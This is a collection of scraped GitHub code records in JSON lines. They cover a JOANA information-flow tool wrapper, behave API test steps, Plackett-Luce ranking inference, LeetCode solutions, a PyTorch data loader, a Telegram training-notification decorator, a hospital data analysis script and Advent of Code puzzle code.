self._exec_joana(f\"run {raw_tag}\").split(\"done.\\ndone.\\n\")\n if len(res) == 1:\n return \"\"\n return res[1]\n\n def _execute_tool(self, tool: str, *args: Any) -> str:\n cmd = [\"sh\", str(self.svi_base_folder / (\"tools/joana/\" + tool)), *map(str, [*args])]\n if self.log_commands:\n print(\" \".join(\"'{}'\".format(c) for c in cmd))\n return subprocess.check_output(cmd, cwd=str(self.svi_base_folder),\n stderr=None if self.log_commands else subprocess.DEVNULL,\n shell=True)\n\n def __enter__(self) -> 'JoanaTool':\n self.setup(self.src_gen_folder)\n return self\n\n def __exit__(self, *args):\n self._remove_build_folder()\n\n def _remove_build_folder(self):\n if self.clean_build_folder:\n shutil.rmtree(self.build_folder, ignore_errors=True)\n\n\ndef create_joana_tool(src_gen_folder: Path, **kwargs) -> JoanaTool:\n \"\"\"\n\n :param src_gen_folder: has to contain sub folders with annotated java files, either relative to the demonstrator\n base folder or absolute\n :param kwargs: passed directly to the constructor of JoanaTool\n \"\"\"\n parent = Path(__file__).parent.parent.parent\n if not src_gen_folder.is_absolute():\n src_gen_folder = parent / src_gen_folder\n return JoanaTool(parent, src_gen_folder, **kwargs)\n\n\ndef analyze_flows(src_gen_folder: Path, threads: int = None, **kwargs) -> JoanaToolResults:\n \"\"\"\n Analyze all flows, return the results and store them in the appropriate flows.json for later use.\n\n Warning: Only do this on computers with enough RAM (> 50 GB) and with enough time on your hands\n\n :param src_gen_folder: see create_joana_tool\n :param threads: threads to use\n :param kwargs: passed directly to the constructor of JoanaTool\n \"\"\"\n joana = create_joana_tool(src_gen_folder, **kwargs)\n if joana.is_flow_file_present():\n logging.warning(\"Overriding previous flows.json for {}\".format(src_gen_folder))\n with joana:\n res = joana.analyze_flows(threads)\n joana.store_flows()\n return res\n\n\ndef load_flows(src_gen_folder: Path, reevaled_flows: Iterable[str] = None, analyze_if_needed: bool = True,\n threads: int = None, **kwargs) -> JoanaToolResults:\n \"\"\"\n Load the flows from the src_gen_folder if they are present. Else output a warning and try to recompute it, needs\n at least 50GB of RAM and a few hours.\n\n :param src_gen_folder:\n :param reevaled_flows: flows to reevaluate (analyze_if_needed has to be true)\n :param analyze_if_needed: if false: just throw an exception if the flows.json file cannot be loaded\n :param kwargs: passed directly to the constructor of JoanaTool\n \"\"\"\n joana = create_joana_tool(src_gen_folder, **kwargs)\n if reevaled_flows:\n if analyze_if_needed is False:\n raise AssertionError(\"Need to reevaluate but not allowed\")\n if not joana.is_flow_file_present():\n return analyze_flows(src_gen_folder, threads=threads, **kwargs)\n with joana:\n return joana.partial_load_flows(reevaled_flows)\n if joana.is_flow_file_present():\n return joana.load_flows()\n elif analyze_if_needed:\n return analyze_flows(src_gen_folder, threads=threads, **kwargs)\n else:\n msg = \"No flows.json found in {} consider running the analysis again or obtaining the file from \" \\\n \"the computation on another computer\".format(src_gen_folder)\n logging.error(msg)\n raise BaseException()\n\n\n@functools.lru_cache()\ndef flows(config: Config = None) -> JoanaToolResults:\n \"\"\"\n Fully configured via the config\n \"\"\"\n config = config or get_config()\n kwargs = {\"threads\": config.threads,\n \"build_folder\": config.joana_build_folder,\n \"unmode\": UninitializedMode.ALL if config.joana_fully_uninitialized else UninitializedMode.BASIC}\n if config.joana_analyze_all:\n return analyze_flows(Path(config.pcc_gen_folder), **kwargs)\n return load_flows(abs_path(config.pcc_gen_folder), reevaled_flows=config.joana_reevaled_flows, **kwargs)\n\n\nif __name__ == '__main__':\n src_gen_path = abs_path(get_config().pcc_gen_folder)\n if len(sys.argv) == 2:\n src_gen_path = Path(sys.argv[1])\n print(src_gen_path)\n pprint(analyze_flows(src_gen_path, log_commands=True))\n\n \"\"\"\n parent = Path(__file__).parent.parent.parent\n\n pcc = Path(\"CodeGenerations/RefinedPCMGen/src-gen/PCC\")\n\n with JoanaTool(parent, pcc, Path(\"/tmp/tmp07\"), flow_folder=parent / pcc / \"flows\", log_commands=True) as j:\n print(j.flows())\n print(j.raw_tags())\n pprint(j.analyze_flows())\n \"\"\"","repo_name":"KASTEL-SCBS/Demonstrator4IntegratedMethods4SbD","sub_path":"tools/python/joana.py","file_name":"joana.py","file_ext":"py","file_size_in_byte":14576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"30474904113","text":"import json\nimport behave\nfrom behave import when, given\n\nfrom liveblog_helpers import liveblog_request\nfrom liveblog_fixtures import upload_fixtures\n\n\n# ============================================================================\nbehave.use_step_matcher('re')\nMETHODS_RE = '(?PGET|POST|PUT|PATCH|DELETE)'\n\n\n@when(METHODS_RE + ' (?P.*) with headers')\ndef step_impl_request_with_headers(context, method, uri):\n headers = json.loads(context.text)\n liveblog_request(context, method, uri, headers=headers)\n\n\n@when(METHODS_RE + ' (?P.*)')\ndef step_impl_request(context, method, uri):\n liveblog_request(context, method, uri)\n\n\n# ============================================================================\nbehave.use_step_matcher('parse')\n\n\n@given('{number:n} fixtures')\ndef step_imp_fixtures(context, number):\n upload_fixtures(context, number)\n","repo_name":"superdesk/Live-Blog","sub_path":"rest_tests/features/steps/liveblog_steps.py","file_name":"liveblog_steps.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":94,"dataset":"github-code","pt":"68"} +{"seq_id":"36212410493","text":"from model.opti_pl import coefs, markovParameters\nfrom model.contour_pl import overAlpha\nfrom model.abstention_pl import rankingAbstention, preferenceMatrix\nfrom model.IB_pl import IBPlLearner\nimport data.data_ranking as data_ranking\n\nimport numpy as np\nimport choix\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\ndef likelihood(neighbours, nbTypesLabels, v):\n \n ib_pl = IBPlLearner('fixed', 5, 'MM', nbTypesLabels)\n l = ib_pl.loglikelihood(v, neighbours)\n return l\n \ndef contour(neighbours, nbTypesLabels, nbTraining, dirichCoefs, nbAlpha):\n \n #Optimal coefficients.\n v_opt = coefs(neighbours, nbTypesLabels, 'MM')['strength']\n\n alpha = np.linspace(1,0,nbAlpha)\n\n #Generate a number of strenghs according to a dirichlet distribution.\n v = v_opt\n for coef in dirichCoefs:\n v = np.vstack((v, np.random.dirichlet(alpha = coef * v_opt, size = nbTraining)))\n \n #Get their loglikelihood\n l = likelihood(neighbours, nbTypesLabels, v)\n \n #Get the contour likelihood\n l_contour = np.exp(l - l[0])\n \n #Get the different orders according to beta cuts\n voteMat = np.zeros((nbAlpha, nbTypesLabels, nbTypesLabels))\n orderMat = np.zeros((nbAlpha, nbTypesLabels, nbTypesLabels))\n k = 0\n for a in alpha:\n \n v_select, l_selected = overAlpha(l_contour, v, a)\n \n #Add a dimension to the array if only one dimension, to avoid errors.\n if v_select.ndim == 1:\n v_select = v_select[None,:]\n \n mat = np.zeros((v_select.shape[0], nbTypesLabels, nbTypesLabels))\n absMat = np.zeros((v_select.shape[0], nbTypesLabels, nbTypesLabels))\n \n mat = preferenceMatrix(v_select, nbTypesLabels)\n absMat = rankingAbstention(mat, 0.5)\n \n voteMat[k,:,:] = np.sum(absMat, axis = 0)/v_select.shape[0]\n orderMat[k,:,:] = np.where(voteMat[k,:,:] == 1, 1, 0)\n \n k = k+1\n \n return v, l_contour, voteMat, orderMat\n\ndef likelihoodVision(neighbours, nbTypesLabels, nbTraining, dirichCoefs):\n \n #Optimal coefficients.\n v_opt = coefs(neighbours, nbTypesLabels, 'MM')['strength']\n\n #Generate a number of strenghs according to a dirichlet distribution.\n v = v_opt\n for coef in dirichCoefs:\n v = np.vstack((v, np.random.dirichlet(alpha = coef * v_opt, size = nbTraining)))\n \n l = likelihood(neighbours, nbTypesLabels, v) \n l_contour = np.exp(l - l[0])\n \n ##3D##\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n ax.scatter(v[:,1],v[:,2],v[:,3], c = l_contour, s = 1)\n ax.set_xlabel('v2')\n ax.set_ylabel('v3')\n ax.set_zlabel('v4')\n #ax.view_init(45,45)\n plt.draw()\n plt.show()\n \n return v, l_contour\n \n'''#Synthetic data set.\nnbTypesLabels = 4\npl_parameters = np.random.rand(nbTypesLabels-1)\npl_parameters = np.divide(pl_parameters, np.sum(pl_parameters))\nnb_rankings = 1000\nsize_rankings = 3\nneighbours = np.asarray(choix.generate_rankings(pl_parameters, nb_rankings, size_rankings)).astype(int)+1\nneighbours[0,1] = nbTypesLabels\n\nnbTraining = 2000\ndirichCoefs = [100,1000,10000]\nnbAlpha = 11\nalpha = np.linspace(1,0,nbAlpha)\n\n#v, l_contour, voteMat, orderMat = contour(neighbours, nbTypesLabels, nbTraining, dirichCoefs, nbAlpha)\nv, l_contour = likelihoodVision(neighbours, nbTypesLabels, nbTraining, dirichCoefs)'''\n\n'''#Nascar data set.\ndataRanking = DataRanking()\nneighbours = dataRanking.getNascar()\nnbTypesLabels = np.max(neighbours)\nnbTraining = 100\ndirichCoefs = np.logspace(4,7,20)\nnbAlpha = 21\nv, l_contour, voteMat, orderMat = contour(neighbours, nbTypesLabels, nbTraining, dirichCoefs, nbAlpha)'''","repo_name":"LoicAdam/Imprecise_Plackett_Luce","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":3690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"10939357525","text":"# Given a sorted array and a target value, return the index if the target is found. If not, return the index where it would be if it were inserted in order.\n\n# You may assume no duplicates in the array.\n\n# Here are few examples.\n# [1,3,5,6], 5 → 2\n# [1,3,5,6], 2 → 1\n# [1,3,5,6], 7 → 4\n# [1,3,5,6], 0 → 0\n\nclass Solution1(object):\n def searchInsert(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: int\n \"\"\"\n if len(nums) == 0 or target <= nums[0]:\n return 0\n for i in range(1, len(nums)):\n if nums[i] == target or nums[i-1] < target < nums[i]:\n return i\n if target > nums[-1]:\n return len(nums)\n\nclass Solution2(object):\n def searchInsert(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: int\n \"\"\"\n low, high = 0, len(nums)-1\n while low <= high:\n mid = (low+high)//2\n if target == nums[mid]:\n return mid\n elif target < nums[mid]:\n high = mid -1\n else:\n low = mid + 1\n return low\n\n\n","repo_name":"diwz/coding_practice","sub_path":"Search Insert Position.py","file_name":"Search Insert Position.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"70195020057","text":"import torchvision.datasets as datasets\nimport torchvision.transforms as transforms\nimport torch.utils.data as data_utils\n\n\ndef get_data_loader(args):\n if args.dataset == 'mnist':\n transform = transforms.Compose([\n transforms.Resize(32),\n transforms.ToTensor(),\n transforms.Normalize((0.5,),(0.5,)),\n ])\n\n train_dataset = datasets.MNIST(root=args.dataroot, train=True, download=args.download, transform=transform)\n test_dataset = datasets.MNIST(root=args.dataroot, train=False, download=args.download, transform=transform)\n\n elif args.dataset == 'cifar':\n transform = transforms.Compose([\n transforms.Resize(32),\n transforms.ToTensor(),\n transforms.Normalize((0.5,0.5,0.5), (0.5, 0.5, 0.5)),\n\n ])\n train_dataset = datasets.CIFAR10(root=args.dataroot, train=True, download=args.download, transform=transform)\n test_dataset = datasets.CIFAR10(root=args.dataroot, train=False, download=args.download, transform=transform)\n\n assert train_dataset\n assert test_dataset\n\n train_dataloader = data_utils.DataLoader(train_dataset, batch_size=args.batch_size, shuffle=True)\n test_dataloader = data_utils.DataLoader(test_dataset, batch_size=args.batch_size, shuffle=True)\n\n return train_dataloader, test_dataloader\n","repo_name":"divyanshugit/dpgan","sub_path":"utils/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"73939462936","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def buildTree(self, preorder: List[int], inorder: List[int]) -> TreeNode:\n \"\"\" 类似106 题通解:通解:https://leetcode-cn.com/problems/construct-binary-tree-from-inorder-and-postorder-traversal/solution/tu-jie-gou-zao-er-cha-shu-wei-wan-dai-xu-by-user72/\n 复杂度https://leetcode-cn.com/problems/construct-binary-tree-from-preorder-and-inorder-traversal/solution/cong-qian-xu-yu-zhong-xu-bian-li-xu-lie-gou-zao-9/\n 时间复杂度:O(n)O(n),其中 nn 是树中的节点个数。\n\n 空间复杂度:O(n)O(n),除去返回的答案需要的 O(n)O(n) 空间之外,我们还需要使用 O(n)O(n) 的空间存储哈希映射,以及 O(h)O(h)(其中 hh 是树的高度)的空间表示递归时栈空间。这里 h < nh preorder_end or inorder_start > inorder_end:\n return None\n root_index = inorder_val_index_map[preorder[preorder_start]]\n root = TreeNode(inorder[root_index])\n root.left = build(preorder_start + 1, preorder_start + root_index - inorder_start, inorder_start, root_index - 1)\n root.right = build(preorder_start + root_index -inorder_start + 1, preorder_end, root_index + 1, inorder_end)\n return root\n return build(0, len(preorder) - 1, 0, len(inorder) - 1)\n","repo_name":"jay6413682/Leetcode","sub_path":"Construct_Binary_Tree_from_Inorder_and_Postorder_Traversal_105.py","file_name":"Construct_Binary_Tree_from_Inorder_and_Postorder_Traversal_105.py","file_ext":"py","file_size_in_byte":2313,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"23325002467","text":"import os\nimport datetime\nimport traceback\nimport functools\nimport socket\nimport telegram\n\nDATE_FORMAT = \"%Y-%m-%d %H:%M:%S\"\n\ndef telegram_sender(token: str, chat_id: int):\n \"\"\"\n Telegram sender wrapper: execute func, send a Telegram message with the end status\n (sucessfully finished or crashed) at the end. Also send a Telegram message before\n executing func.\n\n `token`: str\n The API access TOKEN required to use the Telegram API.\n Visit https://core.telegram.org/bots#6-botfather to obtain your TOKEN.\n `chat_id`: int\n Your chat room id with your notification BOT.\n Visit https://api.telegram.org/bot/getUpdates to get your chat_id\n (start a conversation with your bot by sending a message and get the `int` under\n message['chat']['id'])\n \"\"\"\n\n bot = telegram.Bot(token=token)\n def decorator_sender(func):\n @functools.wraps(func)\n def wrapper_sender(*args, **kwargs):\n\n start_time = datetime.datetime.now()\n host_name = socket.gethostname()\n func_name = func.__name__\n\n # Handling distributed training edge case.\n # In PyTorch, the launch of `torch.distributed.launch` sets up a RANK environment variable for each process.\n # This can be used to detect the master process.\n # See https://github.com/pytorch/pytorch/blob/master/torch/distributed/launch.py#L211\n # Except for errors, only the master process will send notifications.\n if 'RANK' in os.environ:\n master_process = (int(os.environ['RANK']) == 0)\n host_name += ' - RANK: %s' % os.environ['RANK']\n else:\n master_process = True\n\n if master_process:\n contents = ['Your training has started 🎬',\n 'Machine name: %s' % host_name,\n 'Main call: %s' % func_name,\n 'Starting date: %s' % start_time.strftime(DATE_FORMAT)]\n text = '\\n'.join(contents)\n bot.send_message(chat_id=chat_id, text=text)\n\n try:\n value = func(*args, **kwargs)\n\n if master_process:\n end_time = datetime.datetime.now()\n elapsed_time = end_time - start_time\n contents = [\"Your training is complete 🎉\",\n 'Machine name: %s' % host_name,\n 'Main call: %s' % func_name,\n 'Starting date: %s' % start_time.strftime(DATE_FORMAT),\n 'End date: %s' % end_time.strftime(DATE_FORMAT),\n 'Training duration: %s' % str(elapsed_time)]\n\n try:\n str_value = str(value)\n contents.append('Main call returned value: %s'% str_value)\n except:\n contents.append('Main call returned value: %s'% \"ERROR - Couldn't str the returned value.\")\n\n text = '\\n'.join(contents)\n bot.send_message(chat_id=chat_id, text=text)\n\n return value\n\n except Exception as ex:\n end_time = datetime.datetime.now()\n elapsed_time = end_time - start_time\n contents = [\"Your training has crashed ☠️\",\n 'Machine name: %s' % host_name,\n 'Main call: %s' % func_name,\n 'Starting date: %s' % start_time.strftime(DATE_FORMAT),\n 'Crash date: %s' % end_time.strftime(DATE_FORMAT),\n 'Crashed training duration: %s\\n\\n' % str(elapsed_time),\n \"Here's the error:\",\n '%s\\n\\n' % ex,\n \"Traceback:\",\n '%s' % traceback.format_exc()]\n text = '\\n'.join(contents)\n bot.send_message(chat_id=chat_id, text=text)\n raise ex\n\n return wrapper_sender\n\n return decorator_sender\n","repo_name":"huggingface/knockknock","sub_path":"knockknock/telegram_sender.py","file_name":"telegram_sender.py","file_ext":"py","file_size_in_byte":4183,"program_lang":"python","lang":"en","doc_type":"code","stars":2656,"dataset":"github-code","pt":"68"} +{"seq_id":"41422900208","text":"import matplotlib.pyplot as plt\nimport pandas as pd\n\n\n# pd.set_option('display.max_columns', 8)\n\n\ndef check_gender(x):\n if x == \"man\" or x == \"male\":\n return \"m\"\n elif x == \"female\" or x == \"woman\":\n return \"f\"\n elif x in (\"f\", \"m\"):\n return x\n\n\nif __name__ == '__main__':\n # read data from csv file\n general = pd.read_csv('test/general.csv')\n prenatal = pd.read_csv('test/prenatal.csv')\n sports = pd.read_csv(\"test/sports.csv\")\n prenatal.rename(columns={'HOSPITAL': 'hospital', 'Sex': 'gender', }, inplace=True)\n sports.rename(columns={'Hospital': 'hospital', 'Male/female': 'gender', }, inplace=True)\n hospital = pd.concat([general, prenatal, sports], ignore_index=True)\n hospital.drop(columns='Unnamed: 0', inplace=True)\n hospital.dropna(axis=0, how=\"all\", inplace=True)\n hospital.loc[hospital.hospital == \"prenatal\", \"gender\"] = \"f\"\n hospital[\"gender\"] = hospital[\"gender\"].apply(check_gender)\n\n for x in (\"bmi\", \"diagnosis\", \"blood_test\", \"ecg\", \"ultrasound\", \"mri\", \"xray\", \"children\", \"months\"):\n hospital[x].fillna(0, inplace=True)\n general_df = hospital.loc[hospital.hospital == \"general\"]\n sports_df = hospital.loc[hospital.hospital == \"sports\"]\n general_sports_age_df = hospital.pivot_table(index=\"hospital\", aggfunc=\"median\").loc[[\"general\", \"sports\"],]['age']\n max_blood_test = hospital[hospital.blood_test == \"t\"].pivot_table(index=\"hospital\", values=\"blood_test\",\n aggfunc=\"count\")\n\n # print(f\"The answer to the 1st question is {hospital.groupby('hospital').apply(lambda x: x.shape[0]).idxmax()}\")\n # print(\n # f\"The answer to the 2nd question is {round((general_df.loc[general_df.diagnosis == 'stomach'].shape[0] / general_df.shape[0]), 3)}\")\n # print(\n # f\"The answer to the 3rd question is {round((sports_df.loc[sports_df.diagnosis == 'dislocation'].shape[0] / sports_df.shape[0]), 3)}\")\n # print(f\"The answer to the 4th question is {int(general_sports_age_df.max()-general_sports_age_df.min())}\")\n # print(f\"The answer to the 5th question is {max_blood_test.idxmax()[0]}, {max_blood_test.max()[0]} blood tests\")\n hospital.age.plot(kind=\"hist\", bins=[0, 15, 35, 55, 70, 80])\n plt.show()\n print(f\"The answer to the 1st question: 15-35\")\n hospital.diagnosis.value_counts().plot(kind=\"pie\")\n plt.show()\n print(f\"The answer to the 2nd question: pregnancy\")\n plt.violinplot(hospital.height)\n plt.show()\n print(f\"The answer to the 3rd question: It's because Middle-aged people are stronger and less likely to get sick.\")\n","repo_name":"youdiandai/hyperskill_-Data-Analysis_for_Hospitals","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":2643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"7802674958","text":"from utils.vector import Vector2i\n\nclass World:\n def __init__(self):\n self.tiles = {}\n self.min_point = Vector2i(500, 0)\n self.max_point = Vector2i(500, 0)\n \n def set_rock(self, x: int, y: int):\n self.tiles[f\"{x}-{y}\"] = \"#\"\n \n if x < self.min_point.x:\n self.min_point.x = x\n if y < self.min_point.y:\n self.min_point.y = y\n \n if x > self.max_point.x:\n self.max_point.x = x\n if y > self.max_point.y:\n self.max_point.y = y\n \n def set_sand(self, x: int, y: int):\n self.tiles[f\"{x}-{y}\"] = \"O\"\n \n def is_tile_empty(self, x: int, y: int):\n if self._is_floor(y):\n return False\n \n key = f\"{x}-{y}\"\n return not key in self.tiles\n \n def _is_floor(self, y: int) -> bool:\n return y == self.max_point.y + 2\n \n def highest_y(self):\n return self.max_point.y\n \n def print(self):\n padding = 5\n for y in range(self.min_point.y, self.max_point.y+2):\n line = \"\"\n for x in range(self.min_point.x - padding, self.max_point.x+1 + padding):\n key = f\"{x}-{y}\"\n line += \".\" if key not in self.tiles else self.tiles[key]\n print(line)\n \n print(\"#\" * abs((self.min_point.x - padding) - (self.max_point.x+1 + padding)))\n \n\nclass Sand:\n \n def __init__(self, x: int, y: int):\n self.pos = Vector2i(x, y)\n \n def update(self, world: World) -> bool:\n \"\"\"Returns True if the sand moved\"\"\"\n \n if world.is_tile_empty(self.pos.x, self.pos.y+1):\n self.pos.y += 1\n return True\n \n if world.is_tile_empty(self.pos.x-1, self.pos.y+1):\n self.pos.x -= 1\n self.pos.y += 1\n return True\n \n if world.is_tile_empty(self.pos.x+1, self.pos.y+1):\n self.pos.x += 1\n self.pos.y += 1\n return True\n \n return False\n \n def is_in_abyss(self, world: World):\n return self.pos.y >= world.max_point.y\n \n\n# //////////////////// PARSING /////////////////////////\n\ndef parse_input(data: str) -> World:\n lines = data.split(\"\\n\")\n world = World()\n \n for line in lines:\n points = line.split(\" -> \")\n \n prev = None\n \n for point in points:\n new_point = tuple(map(lambda x: int(x), point.split(\",\")))\n \n if prev is not None:\n dir_x = max(-1, min(1, new_point[0] - prev[0]))\n dir_y = max(-1, min(1, new_point[1] - prev[1]))\n \n p = Vector2i(prev[0], prev[1])\n \n \n while p.x != new_point[0] or p.y != new_point[1]:\n world.set_rock(p.x, p.y)\n \n p.x += dir_x\n p.y += dir_y\n \n world.set_rock(new_point[0], new_point[1])\n \n prev = new_point\n \n return world\n\n\n# //////////////////// PARTS /////////////////////////\n\ndef run_a(data: World):\n sand_count = 1\n sand = Sand(500, 0)\n \n while not sand.is_in_abyss(data):\n if not sand.update(data):\n data.set_sand(sand.pos.x, sand.pos.y)\n sand_count += 1\n sand = Sand(500, 0)\n \n # data.tiles[f\"{sand.pos.x}-{sand.pos.y}\"] = \"O\"\n # data.print()\n # input()\n # del data.tiles[f\"{sand.pos.x}-{sand.pos.y}\"]\n \n print(f\"Resting sand: {sand_count-1}\")\n \n\ndef run_b(data: World):\n sand_count = 1\n sand = Sand(500, 0)\n \n while True:\n if not sand.update(data):\n data.set_sand(sand.pos.x, sand.pos.y)\n if sand.pos.x == 500 and sand.pos.y == 0:\n break\n \n sand_count += 1\n sand = Sand(500, 0)\n \n # data.tiles[f\"{sand.pos.x}-{sand.pos.y}\"] = \"O\"\n # data.print()\n # input()\n # del data.tiles[f\"{sand.pos.x}-{sand.pos.y}\"]\n \n print(f\"Resting sand: {sand_count}\")","repo_name":"Denmads/AOC2022","sub_path":"tasks/14.py","file_name":"14.py","file_ext":"py","file_size_in_byte":4184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"9336542608","text":"import sys\nN = int(sys.stdin.readline())\narr=[]\nfor i in range(N):\n tmp = sys.stdin.readline().split()\n if(tmp[0]=='push'):\n a = (int)(tmp[1])\n arr.append(a)\n elif(tmp[0]=='pop'):\n if(len(arr)>0):\n print(arr.pop())\n else:\n print(-1)\n elif(tmp[0]=='size'):\n print(len(arr))\n elif(tmp[0]=='empty'):\n if(len(arr)==0):\n print(1)\n else:\n print(0)\n elif(tmp[0]=='top'):\n if(len(arr)>0):\n print(arr[-1])\n else:\n print(-1)\n","repo_name":"ChoiSangwon/algorithm","sub_path":"backjoon/10828.py","file_name":"10828.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}